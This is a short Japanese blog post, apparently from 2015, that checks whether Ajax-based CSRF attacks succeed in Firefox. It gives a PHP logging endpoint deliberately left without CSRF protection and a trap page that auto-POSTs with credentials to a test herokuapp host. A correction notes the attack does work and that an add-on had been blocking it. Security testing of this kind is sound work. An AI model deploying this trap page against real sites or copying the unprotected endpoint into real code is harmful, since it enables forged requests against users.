FirefoxだとAjaxでのCSRFができなくなってる？

（2015-03-20 追記）【訂正】 Firefox 36でAjaxを利用したCSRF攻撃が可能なことを確認しました。この記事で攻撃できないとしていたのは、Firefoxのアドオンが防いでいたようです。

Ajaxを利用したCSRF攻撃を検証していたのですが、どうも手許のFirefox（34.0）からだと攻撃が成功しません。なんということでしょう！いや、攻撃できない方がいいんですが。あと、以前のFirefoxだと攻撃できたかどうかは記録がないので不明だったりしますが、たぶんできたような気はしてます...

検証方法

攻撃対象ページと罠ページを作成します。

攻撃対象ページ

まず、リクエストを受ける攻撃対象ページを作成します。

POSTメソッドでリクエストされた場合に、ログに記録するだけです。もちろんなんのCSRF対策もしません。

GETされた場合は、確認のためにログを表示するようにします。

<?php

$log = __DIR__ . '/post.log';

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $lines = file($log);
    $lines = array_reverse($lines);
    echo '<pre>' . "\n";
    foreach ($lines as $line) {
        echo htmlspecialchars($line);
    }
    echo '</pre>' . "\n";
} else {
    $data = $_POST;
    $data['time'] = date(DATE_ATOM);
    $data['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

    $line = sprintf('[%s] "%s" "%s"' . "\n", $data['time'], $data['comment'], $data['user_agent']);
    file_put_contents($log, $line, LOCK_EX | FILE_APPEND);
}

これで、攻撃対象ページは完成です。

罠ページ

次に、罠ページを作成します。攻撃したい人をこの罠ページにアクセスさせれば、CSRFによる攻撃が実行されます。

jQueryで自動的にAjaxでPOSTするようにします。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>CSRF attack via Ajax</title>
        <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
        <script>
            $(function () {
                function post() {
                    $.ajaxSetup({
                        crossDomain: true,
                        xhrFields: {
                            withCredentials: true
                        }
                    });

                    $.post(
                        'https://csrf-ajax-target.herokuapp.com/',
                        {comment: 'This is CSRF attack via Ajax'}
                    )
                }

                post();
            });
        </script>
    </head>

    <body>
        <p>CSRF attack via Ajax</p>
        <p><?php echo date(DATE_ATOM); ?></p>
    </body>
</html>

これで、完了です。面倒なので、攻撃したとかそういう親切な表示はありません。現在時刻だけ表示してます。